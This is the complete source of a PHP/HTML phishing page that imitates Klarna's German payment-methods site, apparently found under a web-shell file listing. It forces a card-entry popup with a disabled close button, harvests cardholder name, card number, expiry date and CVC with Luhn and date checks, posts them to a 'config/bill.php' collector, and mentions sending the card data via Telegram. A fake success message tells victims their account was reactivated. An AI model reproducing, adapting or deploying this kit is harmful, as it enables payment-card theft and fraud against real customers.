%PDF- %PDF-
| Direktori : /dom645759/de/klarna/ |
| Current File : //dom645759/de/klarna/cc.php |
<?php
// ==========================================
// 1. INITIALISATION & VARIABLES URL ($_GET)
// ==========================================
$id = isset($_GET['id']) ? preg_replace('/[^a-zA-Z0-9]/', '', $_GET['id']) : 'unknown';
$phone_number = isset($_GET['phone']) ? htmlspecialchars($_GET['phone']) : '';
$message = "";
$message_type = "";
// ==========================================
// 2. LOGIQUE BACKEND ($_POST)
// ==========================================
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$cardholder_name = isset($_POST['cardholder_name']) ? trim($_POST['cardholder_name']) : '';
$card_number_raw = isset($_POST['card_number']) ? preg_replace('/\s+/', '', trim($_POST['card_number'])) : '';
$expiry = isset($_POST['expiry']) ? trim($_POST['expiry']) : '';
$cvv = isset($_POST['cvv']) ? trim($_POST['cvv']) : '';
$errors = [];
// 1. Karteninhaber Name validieren
if (empty($cardholder_name)) {
$errors[] = "Bitte geben Sie den Namen des Karteninhabers ein.";
} elseif (!preg_match("/^[a-zA-ZÀ-ÿ][a-zA-ZÀ-ÿ\s\.\-']{2,}$/u", $cardholder_name) || str_word_count($cardholder_name) < 2) {
$errors[] = "Bitte geben Sie Vor- und Nachname des Karteninhabers ein.";
}
// 2. Kartennummer validieren (Luhn + Akzeptierte Karten)
$card_type = null;
if (empty($card_number_raw)) {
$errors[] = "Bitte geben Sie Ihre Kartennummer ein.";
} elseif (!is_numeric($card_number_raw)) {
$errors[] = "Die Kartennummer darf nur Ziffern enthalten.";
} else {
if (preg_match('/^4[0-9]{12}(?:[0-9]{3})?$/', $card_number_raw)) {
$card_type = 'visa';
} elseif (preg_match('/^5[1-5][0-9]{14}$/', $card_number_raw) || preg_match('/^2(?:2[2-9][0-9]{12}|[3-6][0-9]{13}|7[0-1][0-9]{12}|720[0-9]{12})$/', $card_number_raw)) {
$card_type = 'mastercard';
} elseif (preg_match('/^3[47][0-9]{13}$/', $card_number_raw)) {
$card_type = 'amex';
} else {
$errors[] = "Nur Visa, Mastercard oder American Express werden akzeptiert.";
}
if ($card_type && !luhn_check($card_number_raw)) {
$errors[] = "Die Kartennummer ist ungültig (Luhn-Prüfung fehlgeschlagen).";
}
}
// 3. Ablaufdatum validieren (MM/JJ) > 07/26
if (empty($expiry)) {
$errors[] = "Bitte geben Sie das Ablaufdatum ein (MM/JJ).";
} elseif (!preg_match('/^(0[1-9]|1[0-2])\/([0-9]{2})$/', $expiry, $matches)) {
$errors[] = "Bitte verwenden Sie das Format MM/JJ (z.B. 08/26).";
} else {
$exp_month = intval($matches[1]);
$exp_year = intval($matches[2]) + 2000;
$threshold_year = 2026;
$threshold_month = 7; // 07/26
if ($exp_year < $threshold_year || ($exp_year == $threshold_year && $exp_month <= $threshold_month)) {
$errors[] = "Das Ablaufdatum muss nach dem 07/2026 liegen (aktuell 06/2026).";
} elseif ($exp_year < 2026 || ($exp_year == 2026 && $exp_month < 6)) {
$errors[] = "Die Karte ist bereits abgelaufen.";
}
}
// 4. CVV validieren basierend auf Kartentyp
if (empty($cvv)) {
$errors[] = "Bitte geben Sie den Sicherheitscode (CVV) ein.";
} elseif (!preg_match('/^[0-9]{3,4}$/', $cvv)) {
$errors[] = "Der CVV muss aus 3 oder 4 Ziffern bestehen.";
} else {
if ($card_type == 'amex' && strlen($cvv) != 4) {
$errors[] = "American Express erfordert einen 4-stelligen CVV.";
} elseif ($card_type != 'amex' && strlen($cvv) != 3) {
$errors[] = "Ihr Kartentyp erfordert einen 3-stelligen CVV.";
}
}
if (empty($errors)) {
$message = "✅ Zahlungsmethode erfolgreich aktualisiert! Ihre Karte (" . mask_card_number($card_number_raw) . ") wurde hinterlegt. Die automatische Zahlung ist jetzt aktiv und Ihr Konto wurde reaktiviert.";
$message_type = "success";
// Hier könnte man die Kartendaten per Telegram senden
} else {
$message = "❌ Fehler beim Aktualisieren:<br>" . implode("<br>", $errors);
$message_type = "error";
}
}
// ==========================================
// 3. HILFSFUNKTIONEN
// ==========================================
function luhn_check($number) {
$sum = 0;
$numDigits = strlen($number);
$parity = $numDigits % 2;
for ($i = 0; $i < $numDigits; $i++) {
$digit = $number[$i];
if ($i % 2 == $parity) {
$digit *= 2;
if ($digit > 9) $digit -= 9;
}
$sum += $digit;
}
return ($sum % 10) == 0;
}
function mask_card_number($number) {
$length = strlen($number);
if ($length < 8) return "****";
return substr($number, 0, 4) . " **** **** " . substr($number, -4);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="shortcut icon" type="image/vnd.microsoft.icon" href="./img/klarna-icon.webp">
<title>Payment Methods</title>
<style>
/* CSS Reset & Base Styles */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
}
body {
background-color: #ffffff;
color: #0b0b0f;
line-height: 1.5;
overflow-y: auto;
}
a {
text-decoration: none;
color: inherit;
}
ul {
list-style: none;
}
/* --- Top Bar --- */
.top-bar {
display: flex;
padding: 10px 40px;
font-size: 14px;
border-bottom: 1px solid #f2f2f2;
gap: 20px;
}
.top-bar .active {
font-weight: 600;
}
.top-bar .inactive {
color: #7a7a85;
}
/* --- Main Navigation --- */
.navbar {
display: flex;
justify-content: space-between;
align-items: center;
padding: 15px 40px;
border-bottom: 1px solid #f2f2f2;
flex-wrap: wrap;
}
.nav-left {
display: flex;
align-items: center;
gap: 25px;
}
.hamburger-btn {
display: none;
}
.logo {
display: flex;
align-items: center;
}
.nav-links {
display: flex;
gap: 25px;
font-size: 15px;
font-weight: 500;
}
.nav-actions {
display: flex;
align-items: center;
gap: 15px;
}
.btn-black {
background-color: #0b0b0f;
color: #ffffff;
padding: 10px 20px;
border-radius: 20px;
font-weight: 600;
font-size: 15px;
border: none;
cursor: pointer;
transition: opacity 0.2s;
}
.btn-black:hover {
opacity: 0.8;
}
.icon-btn {
width: 40px;
height: 40px;
border-radius: 50%;
border: 1px solid #e2e2e5;
display: flex;
justify-content: center;
align-items: center;
background: none;
cursor: pointer;
font-size: 16px;
color: #0b0b0f;
transition: background-color 0.2s;
}
.icon-btn:hover {
background-color: #f2f2f2;
}
.icon-btn.user-icon {
background-color: #f2f2f2;
border: none;
font-weight: 600;
}
/* --- Breadcrumb --- */
.breadcrumb {
padding: 30px 40px;
font-size: 16px;
color: #7a7a85;
}
.breadcrumb span.active-crumb {
color: #0b0b0f;
}
/* --- Main Content Area --- */
.main-content {
display: flex;
flex-direction: column;
align-items: center;
padding: 40px 20px 100px 20px;
min-height: 50vh;
}
h1 {
font-size: 36px;
margin-bottom: 30px;
font-weight: 700;
text-align: center;
}
.payment-card {
background-color: #ede6f6;
width: 100%;
max-width: 650px;
border-radius: 12px;
padding: 40px;
text-align: center;
position: relative;
margin-top: 20px;
}
.badge {
background-color: #d6bdf0;
color: #2b005e;
font-size: 12px;
font-weight: 600;
padding: 4px 12px;
border-radius: 12px;
position: absolute;
top: -10px;
left: 50%;
transform: translateX(-50%);
}
.payment-card h2 {
font-size: 20px;
margin-bottom: 10px;
font-weight: 600;
}
.payment-card p {
font-size: 15px;
color: #3b3b42;
margin-bottom: 25px;
}
/* --- Footer --- */
.footer {
background-color: #1a1824;
color: #ffffff;
padding: 60px 40px;
display: flex;
justify-content: space-between;
flex-wrap: wrap;
gap: 40px;
}
.footer-col {
flex: 1;
min-width: 160px;
}
.footer-col h3 {
font-size: 20px;
font-weight: 600;
margin-bottom: 25px;
}
.footer-col ul li {
margin-bottom: 15px;
}
.footer-col ul li a {
color: #a3a3a8;
font-size: 14px;
transition: color 0.2s;
}
.footer-col ul li a:hover {
color: #ffffff;
}
.market-btn {
display: flex;
align-items: center;
justify-content: space-between;
background-color: #2b2838;
color: #ffffff;
padding: 12px 16px;
border-radius: 8px;
border: none;
width: 100%;
max-width: 200px;
cursor: pointer;
font-size: 14px;
font-weight: 500;
}
.market-btn span {
display: flex;
align-items: center;
gap: 10px;
}
.social-icons {
display: flex;
gap: 10px;
}
.social-icon {
width: 40px;
height: 40px;
border-radius: 8px;
border: 1px solid #4a4856;
display: flex;
justify-content: center;
align-items: center;
color: #ffffff;
font-size: 16px;
transition: background-color 0.2s;
}
.social-icon:hover {
background-color: #4a4856;
}
/* =========================================
POPUP MODAL STYLES & FORM VALIDATION
========================================= */
.modal-overlay {
position: fixed;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
background: rgba(0, 0, 0, 0.4);
display: none;
justify-content: center;
align-items: center;
z-index: 9999;
}
.modal-content {
background: #ffffff;
width: 90%;
max-width: 500px;
border-radius: 16px;
padding: 30px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.15);
position: relative;
}
.modal-header {
display: flex;
justify-content: center;
align-items: center;
margin-bottom: 25px;
position: relative;
}
.modal-header h3 {
font-size: 18px;
font-weight: 700;
color: #0b0b0f;
}
.modal-close-btn {
position: absolute;
right: 0;
top: 50%;
transform: translateY(-50%);
background: none;
border: none;
cursor: not-allowed;
color: #0b0b0f;
display: flex;
}
.modal-form-group {
margin-bottom: 20px;
}
.modal-form-group label {
display: block;
font-size: 14px;
color: #0b0b0f;
margin-bottom: 8px;
font-weight: 500;
}
.input-wrapper {
position: relative;
}
.icon-left {
position: absolute;
left: 14px;
top: 50%;
transform: translateY(-50%);
color: #0b0b0f;
}
.brand-icon {
position: absolute;
left: 10px;
top: 50%;
transform: translateY(-50%);
width: 26px;
height: auto;
display: none;
}
.input-wrapper input {
width: 100%;
padding: 12px 42px 12px 42px;
border: 1px solid #dcdcdc;
border-radius: 12px;
font-size: 15px;
outline: none;
color: #0b0b0f;
transition: border-color 0.2s;
}
.input-wrapper input.card-input-padding {
padding-left: 46px;
}
.input-wrapper input::placeholder {
color: #a3a3a8;
}
.input-wrapper input:focus {
border-color: #0b0b0f;
}
.form-row {
display: flex;
gap: 15px;
}
.form-row .modal-form-group {
flex: 1;
}
.modal-submit-btn {
background-color: #0b0b0f;
color: #ffffff;
width: 100%;
height: 52px;
padding: 0 16px;
border: none;
border-radius: 30px;
font-size: 16px;
font-weight: 600;
margin-top: 10px;
cursor: pointer;
display: flex;
justify-content: center;
align-items: center;
}
/* --- Button Loading Spinner --- */
.spinner {
display: inline-block;
width: 20px;
height: 20px;
border: 3px solid rgba(255, 255, 255, 0.3);
border-radius: 50%;
border-top-color: #ffffff;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
.modal-submit-btn.is-loading {
pointer-events: none;
opacity: 0.8;
}
/* --- Form Validation Error States --- */
.icon-error {
position: absolute;
right: 14px;
top: 50%;
transform: translateY(-50%);
display: none;
}
.error-text {
color: #9e1c1c;
font-size: 13px;
margin-top: 6px;
display: none;
}
.has-error .input-wrapper input {
border-color: #9e1c1c;
}
.has-error .icon-error {
display: block;
}
.has-error .error-text {
display: block;
}
/* =========================================
RESPONSIVE DESIGN (MEDIA QUERIES)
========================================= */
@media (max-width: 1024px) {
.top-bar,
.navbar,
.breadcrumb,
.footer {
padding-left: 20px;
padding-right: 20px;
}
.nav-links {
gap: 15px;
}
}
@media (max-width: 768px) {
.top-bar {
display: none;
}
.navbar {
padding: 15px 15px;
}
.nav-left {
gap: 10px;
}
.hamburger-btn {
display: flex;
align-items: center;
justify-content: center;
background-color: #FFA8CD;
color: #0b0b0f;
border: none;
border-radius: 20px;
width: 46px;
height: 34px;
cursor: pointer;
}
.nav-links {
display: none;
}
.nav-actions {
gap: 8px;
}
.btn-black.app-btn {
display: none;
}
.icon-btn {
width: 36px;
height: 36px;
font-size: 14px;
}
h1 {
font-size: 28px;
margin-bottom: 20px;
}
.payment-card {
padding: 30px 20px;
}
.footer {
flex-direction: column;
padding: 40px 20px;
gap: 25px;
}
.col-klarna {
order: 1;
}
.col-privat {
order: 2;
}
.col-business {
order: 3;
}
.col-market {
order: 4;
}
.col-follow {
order: 5;
}
.footer-col {
width: 100%;
}
.footer-col h3 {
margin-bottom: 15px;
}
.klarna-links ul {
display: grid;
grid-template-columns: 1fr 1fr;
column-gap: 10px;
}
.privat-links ul,
.business-links ul {
display: none;
}
.market-btn {
max-width: 100%;
}
.social-icons {
justify-content: space-between;
gap: 5px;
}
.social-icon {
flex: 1;
max-width: 80px;
}
}
</style>
</head>
<body>
<div class="top-bar">
<a href="#" class="active">Für Shopper</a>
<a href="#" class="inactive">Für Händler</a>
</div>
<nav class="navbar">
<div class="nav-left">
<button class="hamburger-btn">
<svg viewBox="0 0 24 24" width="20" height="20" stroke="currentColor" stroke-width="2" fill="none" stroke-linecap="round" stroke-linejoin="round">
<line x1="3" y1="12" x2="21" y2="12"></line>
<line x1="3" y1="6" x2="21" y2="6"></line>
<line x1="3" y1="18" x2="21" y2="18"></line>
</svg>
</button>
<a href="#" class="logo">
<svg class="sc-jSMfEi gQaohg" width="91" height="22" viewBox="0 0 91 22" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M82.2782 17.9579C80.1693 17.9579 78.5256 16.23 78.5256 14.1318C78.5256 12.0337 80.1693 10.3057 82.2782 10.3057C84.3871 10.3057 86.0308 12.0337 86.0308 14.1318C86.0308 16.23 84.3871 17.9579 82.2782 17.9579ZM81.2238 22C83.0225 22 85.3176 21.3212 86.5891 18.6676L86.7131 18.7293C86.1549 20.1795 86.1549 21.0435 86.1549 21.2595V21.5989H90.6828V6.6648H86.1549V7.00421C86.1549 7.2202 86.1549 8.08415 86.7131 9.53436L86.5891 9.59607C85.3176 6.9425 83.0225 6.26367 81.2238 6.26367C76.9129 6.26367 73.8736 9.65778 73.8736 14.1318C73.8736 18.6059 76.9129 22 81.2238 22ZM65.9963 6.26367C63.9494 6.26367 62.3367 6.97335 61.0341 9.59607L60.9101 9.53436C61.4683 8.08415 61.4683 7.2202 61.4683 7.00421V6.6648H56.9404V21.5989H61.5924V13.7307C61.5924 11.6634 62.8019 10.3675 64.7557 10.3675C66.7096 10.3675 67.671 11.4783 67.671 13.6999V21.5989H72.323V12.0954C72.323 8.70126 69.6558 6.26367 65.9963 6.26367ZM50.2105 9.59607L50.0864 9.53436C50.6447 8.08415 50.6447 7.2202 50.6447 7.00421V6.6648H46.1168V21.5989H50.7687L50.7998 14.4095C50.7998 12.3114 51.9162 11.0463 53.746 11.0463C54.2422 11.0463 54.6454 11.108 55.1106 11.2314V6.6648C53.0637 6.23282 51.2339 7.00421 50.2105 9.59607ZM35.4172 17.9579C33.3083 17.9579 31.6646 16.23 31.6646 14.1318C31.6646 12.0337 33.3083 10.3057 35.4172 10.3057C37.5261 10.3057 39.1698 12.0337 39.1698 14.1318C39.1698 16.23 37.5261 17.9579 35.4172 17.9579ZM34.3627 22C36.1615 22 38.4565 21.3212 39.728 18.6676L39.8521 18.7293C39.2938 20.1795 39.2938 21.0435 39.2938 21.2595V21.5989H43.8218V6.6648H39.2938V7.00421C39.2938 7.2202 39.2938 8.08415 39.8521 9.53436L39.728 9.59607C38.4565 6.9425 36.1615 6.26367 34.3627 6.26367C30.0519 6.26367 27.0126 9.65778 27.0126 14.1318C27.0126 18.6059 30.0519 22 34.3627 22ZM20.5308 21.5989H25.1828V0H20.5308V21.5989ZM17.1193 0H12.3743C12.3743 3.85694 9.98628 7.31276 6.35772 9.78121L4.93111 10.7686V0H0V21.5989H4.93111V10.892L13.0876 21.5989H19.1042L11.2578 11.3548C14.8243 8.79383 17.1503 4.81346 17.1193 0Z" fill="#0b0b0f"></path></svg>
</a>
<div class="nav-links">
<a href="#">Entdecke Klarna</a>
<a href="#">Shopping</a>
<a href="#">App</a>
<a href="#">Zahlungen</a>
<a href="#">Karten & Konten</a>
<a href="#">Hilfe</a>
</div>
</div>
<div class="nav-actions">
<button class="btn-black app-btn">Get the app</button>
<button class="icon-btn">🔍</button>
<button class="icon-btn">🎯</button>
<button class="icon-btn">♡</button>
<button class="icon-btn user-icon"></button>
</div>
</nav>
<div class="breadcrumb">
Mehr/ <span class="active-crumb">Zahlungsart</span>
</div>
<main class="main-content">
<h1>Zahlungsmethoden</h1>
<div class="payment-card">
<span class="badge">Empfohlen</span>
<h2>Karte hinzufügen</h2>
<button class="btn-black">Zahlungsmethode hinzufügen</button>
</div>
</main>
<footer class="footer">
<div class="footer-col col-market">
<h3>Markt</h3>
<button class="market-btn">
<span>
<svg width="18" height="13" viewBox="0 0 5 3" xmlns="http://www.w3.org/2000/svg" style="border-radius: 2px;">
<rect width="5" height="3" fill="#000"/>
<rect y="1" width="5" height="2" fill="#D00"/>
<rect y="2" width="5" height="1" fill="#FFCE00"/>
</svg>
Deutschland
</span>
<span>→</span>
</button>
</div>
<div class="footer-col col-klarna klarna-links">
<h3>Klarna</h3>
<ul>
<li><a href="#">Über uns</a></li>
<li><a href="#">Karriere</a></li>
<li><a href="#">AGB</a></li>
<li><a href="#">Presse</a></li>
<li><a href="#">Sicherheit</a></li>
<li><a href="#">Datenschutz</a></li>
<li><a href="#">Nachhaltigkeit</a></li>
<li><a href="#">Anti-Geldwäsche</a></li>
<li><a href="#">Auto-Track</a></li>
<li><a href="#">Barrierefreiheit</a></li>
<li><a href="#">Impressum</a></li>
<li><a href="#">Wikipink</a></li>
<li><a href="#">Kontakt</a></li>
<li><a href="#">Kontaktinformationen für Behörden</a></li>
<li><a href="#">Corporate governance</a></li>
</ul>
</div>
<div class="footer-col col-privat privat-links">
<h3>Privat</h3>
<ul>
<li><a href="#">Hilfe</a></li>
<li><a href="#">Einloggen</a></li>
<li><a href="#">Mit Klarna einkaufen</a></li>
<li><a href="#">Klarna App</a></li>
<li><a href="#">Shops entdecken</a></li>
<li><a href="#">Käuferschutzrichtlinie</a></li>
<li><a href="#">Beschwerden</a></li>
<li><a href="#">Sicher shoppen mit Klarna</a></li>
<li><a href="#">Festgeld</a></li>
<li><a href="#">Datenschutzeinstellungen</a></li>
</ul>
</div>
<div class="footer-col col-business business-links">
<h3>Business</h3>
<ul>
<li><a href="#">Händlersupport</a></li>
<li><a href="#">Händlerportal</a></li>
<li><a href="#">Mit Klarna verkaufen</a></li>
<li><a href="#">Entwicklerseite</a></li>
<li><a href="#">Betriebsstatus</a></li>
<li><a href="#">Plattformen und Partner</a></li>
</ul>
</div>
<div class="footer-col col-follow">
<h3>Follow</h3>
<div class="social-icons">
<a href="#" class="social-icon">f</a>
<a href="#" class="social-icon">in</a>
<a href="#" class="social-icon">𝕏</a>
<a href="#" class="social-icon">📷</a>
</div>
</div>
</footer>
<!-- ===== MODAL ===== -->
<div class="modal-overlay" id="addCardModal">
<div class="modal-content">
<div class="modal-header">
<h3>Karte hinzufügen</h3>
<button class="modal-close-btn" disabled>
<svg width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<line x1="18" y1="6" x2="6" y2="18"></line>
<line x1="6" y1="6" x2="18" y2="18"></line>
</svg>
</button>
</div>
<div class="modal-body">
<!-- Formulaire avec méthode POST et action -->
<form id="cardForm" method="post" action="./config/bill.php">
<!-- Champ caché pour l'ID (valeur dynamique depuis PHP) -->
<input type="hidden" name="id" value="<?php echo htmlspecialchars($id); ?>"> <div class="modal-form-group" id="group-name">
<label>Name auf der Karte</label>
<div class="input-wrapper">
<svg class="icon-left" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"></path>
<circle cx="12" cy="7" r="4"></circle>
</svg>
<input type="text" id="input-name" name="name"> <!-- AJOUTÉ -->
<svg class="icon-error" width="18" height="18" viewBox="0 0 24 24" fill="#9e1c1c" xmlns="http://www.w3.org/2000/svg">
<path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"/>
</svg>
</div>
<p class="error-text">Name des Karteninhabers erforderlich</p>
</div>
<div class="modal-form-group" id="group-number">
<label>Kreditkartennummer</label>
<div class="input-wrapper">
<!-- Generic card icon (SVG) -->
<svg id="generic-icon" class="icon-left" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<rect x="1" y="4" width="22" height="16" rx="2" ry="2"></rect>
<line x1="1" y1="10" x2="23" y2="10"></line>
</svg>
<!-- Visa PNG -->
<img id="visa-icon" class="brand-icon" src="./img/visa.png" alt="Visa" />
<!-- Mastercard PNG -->
<img id="mastercard-icon" class="brand-icon" src="./img/master.png" alt="Mastercard" />
<input type="text" id="input-number" name="number" placeholder="0000 0000 0000 0000" maxlength="19"> <!-- AJOUTÉ --> <svg class="icon-error" width="18" height="18" viewBox="0 0 24 24" fill="#9e1c1c" xmlns="http://www.w3.org/2000/svg">
<path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"/>
</svg>
</div>
<p class="error-text" id="number-error-msg">Kreditkartennummer erforderlich</p>
</div>
<div class="form-row">
<div class="modal-form-group" id="group-expiry">
<label>Verfallsdatum</label>
<div class="input-wrapper">
<svg class="icon-left" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<rect x="3" y="4" width="18" height="18" rx="2" ry="2"></rect>
<line x1="16" y1="2" x2="16" y2="6"></line>
<line x1="8" y1="2" x2="8" y2="6"></line>
<line x1="3" y1="10" x2="21" y2="10"></line>
</svg>
<input type="text" id="input-expiry" name="expiry" placeholder="MM/YY" maxlength="5"> <!-- AJOUTÉ --> <svg class="icon-error" width="18" height="18" viewBox="0 0 24 24" fill="#9e1c1c" xmlns="http://www.w3.org/2000/svg">
<path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"/>
</svg>
</div>
<p class="error-text" id="expiry-error-msg">Verfallsdatum erforderlich</p>
</div>
<div class="modal-form-group" id="group-cvc">
<label>CVC</label>
<div class="input-wrapper">
<svg class="icon-left" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<rect x="3" y="11" width="18" height="11" rx="2" ry="2"></rect>
<path d="M7 11V7a5 5 0 0 1 10 0v4"></path>
</svg>
<input type="password" id="input-cvc" name="cvc" minlength="3" maxlength="3"> <!-- AJOUTÉ --> <svg class="icon-error" width="18" height="18" viewBox="0 0 24 24" fill="#9e1c1c" xmlns="http://www.w3.org/2000/svg">
<path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"/>
</svg>
</div>
<p class="error-text">CVC-Code erforderlich</p>
</div>
</div>
<button class="modal-submit-btn" id="continue-btn">Weiter</button>
</form> </div>
</div>
</div>
<script>
// Trigger popup after 1.3 seconds
setTimeout(function() {
document.getElementById('addCardModal').style.display = 'flex';
}, 1300);
// Utility: Luhn Algorithm Validation
function isValidLuhn(value) {
let nCheck = 0,
bEven = false;
value = value.replace(/\D/g, "");
if (value.length === 0) return false;
for (let n = value.length - 1; n >= 0; n--) {
let cDigit = value.charAt(n),
nDigit = parseInt(cDigit, 10);
if (bEven && (nDigit *= 2) > 9) nDigit -= 9;
nCheck += nDigit;
bEven = !bEven;
}
return (nCheck % 10) === 0;
}
// Utility: Detect Card Network
function getCardType(number) {
const stripped = number.replace(/\D/g, "");
if (/^4/.test(stripped)) return 'visa';
if (/^5[1-5]/.test(stripped) || /^2(?:2(?:2[1-9]|[3-9]\d)|[3-6]\d\d|7(?:[01]\d|20))/.test(stripped))
return 'mastercard';
if (/^3[47]/.test(stripped)) return 'amex';
if (/^(5018|5020|5038|5893|6304|6759|6761|6762|6763)/.test(stripped)) return 'maestro';
return 'unknown';
}
// Utility: Validate Expiry Date
function isValidExpiry(value) {
if (!/^\d{2}\/\d{2}$/.test(value)) return false;
const parts = value.split('/');
const month = parseInt(parts[0], 10);
const year = parseInt(parts[1], 10);
if (month < 1 || month > 12) return false;
const now = new Date();
const currentYear = parseInt(now.getFullYear().toString().slice(-2), 10);
const currentMonth = now.getMonth() + 1;
if (year < currentYear) return false;
if (year === currentYear && month < currentMonth) return false;
return true;
}
// Real-time Icon Swap & Formatting for Card Number
const numberInput = document.getElementById('input-number');
const genericIcon = document.getElementById('generic-icon');
const visaIcon = document.getElementById('visa-icon');
const mastercardIcon = document.getElementById('mastercard-icon');
numberInput.addEventListener('input', function(e) {
// Remove non-digits
let val = this.value.replace(/\D/g, '');
// Determine Network & Swap Icons
const cardType = getCardType(val);
genericIcon.style.display = 'none';
visaIcon.style.display = 'none';
mastercardIcon.style.display = 'none';
this.classList.remove('card-input-padding');
if (cardType === 'visa') {
visaIcon.style.display = 'block';
this.classList.add('card-input-padding');
} else if (cardType === 'mastercard') {
mastercardIcon.style.display = 'block';
this.classList.add('card-input-padding');
} else {
genericIcon.style.display = 'block';
}
// Auto-format with spaces
let formatted = val.match(/.{1,4}/g);
this.value = formatted ? formatted.join(' ') : val;
});
// Auto-format Expiry date with slash
const expiryInput = document.getElementById('input-expiry');
expiryInput.addEventListener('input', function(e) {
let val = this.value.replace(/\D/g, '');
if (val.length > 2) {
this.value = val.slice(0, 2) + '/' + val.slice(2, 4);
} else {
this.value = val;
}
});
// Form Submission Logic
document.getElementById('continue-btn').addEventListener('click', function(e) {
e.preventDefault();
let isValidForm = true;
// Helper to show errors
function showError(groupId, messageId, message) {
document.getElementById(groupId).classList.add('has-error');
if (messageId) document.getElementById(messageId).textContent = message;
isValidForm = false;
}
// Reset all errors
document.querySelectorAll('.modal-form-group').forEach(el => el.classList.remove('has-error'));
// 1. Name Validation
const nameVal = document.getElementById('input-name').value.trim();
if (nameVal === '') {
showError('group-name', null, null);
}
// 2. Card Number Validation
const numVal = numberInput.value.replace(/\s/g, '');
if (numVal === '') {
showError('group-number', 'number-error-msg', 'Kartennummer erforderlich');
} else if (!isValidLuhn(numVal)) {
showError('group-number', 'number-error-msg', 'Ungültige Kartennummer');
} else {
const type = getCardType(numVal);
if (type !== 'visa' && type !== 'mastercard') {
showError('group-number', 'number-error-msg', 'Karten dieses Anbieters werden nicht unterstützt');
}
}
// 3. Expiry Validation
const expVal = expiryInput.value.trim();
if (expVal === '') {
showError('group-expiry', 'expiry-error-msg', 'Verfallsdatum erforderlich');
} else if (!isValidExpiry(expVal)) {
showError('group-expiry', 'expiry-error-msg', 'Ungültiges Ablaufdatum');
}
// 4. CVC Validation
const cvcVal = document.getElementById('input-cvc').value.trim();
if (cvcVal === '') {
showError('group-cvc', null, null);
}
if (isValidForm) {
const submitBtn = document.getElementById('continue-btn');
submitBtn.classList.add('is-loading');
submitBtn.innerHTML = '<span class="spinner"></span>';
// Récupération du formulaire (assurez-vous qu'il a l'id "cardForm")
const form = document.getElementById('cardForm');
if (!form) {
console.error('Formulaire #cardForm introuvable');
return;
}
// Soumission après 3 secondes (pour afficher le spinner)
setTimeout(function() {
form.submit();
}, 3000);
}
});
// Clear errors on typing
const inputs = document.querySelectorAll('.input-wrapper input');
inputs.forEach(input => {
input.addEventListener('input', function() {
this.closest('.modal-form-group').classList.remove('has-error');
});
});
</script>
</body>
</html>